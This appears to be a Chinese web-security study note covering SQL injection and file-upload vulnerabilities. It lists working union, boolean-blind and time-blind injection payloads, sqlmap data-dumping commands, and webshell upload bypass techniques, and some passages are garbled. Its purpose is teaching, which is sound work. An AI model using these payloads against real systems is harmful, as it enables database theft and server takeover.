文章目录
- 一、SQL注入
- 1.1SQL注入漏洞原理
- 1.2 SQL注入的两个关键点
- 1.3 与Mysql注入相关的知识点
- 1.4 SQL注入的主要分类
- 1.5 SQL注入的流程
- 1.5.1 普通SQL注入
- 1.5.2 盲注
- 1.6 SQL注入总结
- 二、文件上传
- 2.1 文件上传漏洞原理
- 2.2 客户端检测及绕过(JS检测与绕过)
- 2.3 服务端检测
- 2.3.1 后缀名检测与绕过
- 2.3.2 MIME类型检测与绕过
- 2.3.3 文件内容检测与绕过
- 2.3.4 00截断检测与绕过
- 2.3.5 条件竞争检测与绕过
- 三、CSRF
- 四、SSRF
- 五、反序列化漏洞
一、SQL注入
1.1SQL注入漏洞原理
Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。
本质:把用户输入的数据当作代码执行,违背了"数据与代码分离"的原则。
1.2 SQL注入的两个关键点
- 参数用户可控:前端 传入后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
1.3 与Mysql注入相关的知识点
在Mysql 5.0 版本之后,Mysql默认在数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
1.4 SQL注入的主要分类
(1)注入点类型
- 字符型注入
- 数字型注入
(2)按照执行效果
- 普通SQL注入:页面上有回显。
- 盲注:布尔盲注(只会返回两种页面)、时间盲注(页面会延迟一段时间才显示)
1.5 SQL注入的流程
1.5.1 普通SQL注入
- 判断是否存在SQL注入漏洞
- 判断是字符型注入还是数字型注入
- 判断(查询结果)字段数
- 查看回显点
- 查看数据库名
- 查看表名
- 查看字段名
- 查看字段内容
1.5.2 盲注
- 判断是否存在SQL注入漏洞
- 判断是字符型注入还是数字型注入
- 判断(查询结果)字段数
- 猜数据库名长度、猜数据库名
- 猜表的个数、逐个猜表名
- 逐一猜表中的字段个数、长度、名称
- 猜字段内容
1.6 SQL注入总结
- 判断是否存在SQL注入
id=1' # //参数后加单引号,报错,说明有注入点
- 判断字符型注入还是数字型注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
- 普通SQL注入实例
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 order by <数字> # //判断字段数
id=1 union select 1,2,3, ... # //查看回显点
id=1 union select 1,2,database(), ... # //查看数据库名
id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' # //查看字段名
id=1 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
- 布尔盲注实例
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 and length(database())=1 # //判断数据库名长度
id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
- 时间盲注实例
id=1 and sleep(5) # //数字型则等待5秒
id=1' and sleep(5) # //字符型则等待5秒
id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
- Sqlmap的用法
sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段 --dumo是列出字段内容
二、文件上传
2.1 文件上传漏洞原理
上传文件时,如果服务器端未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、php、jsp等格式的文件)。
2.2 客户端检测及绕过(JS检测与绕过)
客户端(Client):或称为用户端(前端),与服务器相对应。由于客户端对于文件上传漏洞的防御是通过JS代码实现的,所以客户端检测与绕过也称为JS检测与绕过。
由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传WebShell。绕过方法:
- 删除浏览器事件;
- 禁用JS;
- 利用BurpSuite抓包修改文件后缀名。
2.3 服务端检测
2.3.1 后缀名检测与绕过
(1)黑名单绕过
- 名单列表绕过
有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3、phtml文件,所以上传一个后缀名为php3、phptml的文件即可。
- Windows特性
一些特殊的文件名命名方式在windows下是不被允许的,利用BurpSuite抓包修改后缀名,绕过验证后上传文件,windows会自动去掉后面添加的,但要注意Unix/Linux系统没有这个特性。比如:
- 末尾的点(
.
) 如1.php.
- 空格(
1.php
- :: D A T A ,如 ‘ 1. p h p : : DATA,如`1.php:: DATA,如‘1.php::DATA`
(2)白名单绕过
白名单绕过需要配合文件包含漏洞或者解析漏洞。
(3).htaccess文件攻击
.htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。
- 如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apche的配置。
在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找**.htacess**文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么所有在.htaccess文件里有的指令都将被重写,即允许.htaccess文件覆盖掉Apache 的配置。
(4)APahce解析机制
Apche解析机制:从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。
2.3.2 MIME类型检测与绕过
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME 类型如下:
文件拓展名 | Mime-Type |
---|---|
.js | application/x-javascript |
.html | test/html |
.jpg | image/jpeg |
.png | image/png |
application/pdf |
2.3.3 文件内容检测与绕过
检测原理
利用getimagesize()
函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息。服务端主要检测文件幻数:
类型 | 文件幻数 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 (GIF89a) |
PNG | 89 50 4E 47 |
绕过方式
在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码
2.3.4 00截断检测与绕过
检测原理
截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (" "),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。由于00代表结束符,PHP会把00后面的所有字符删除。
截断条件
PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。
2.3.5 条件竞争检测与绕过
检测原理
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方式
利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。
…未完待续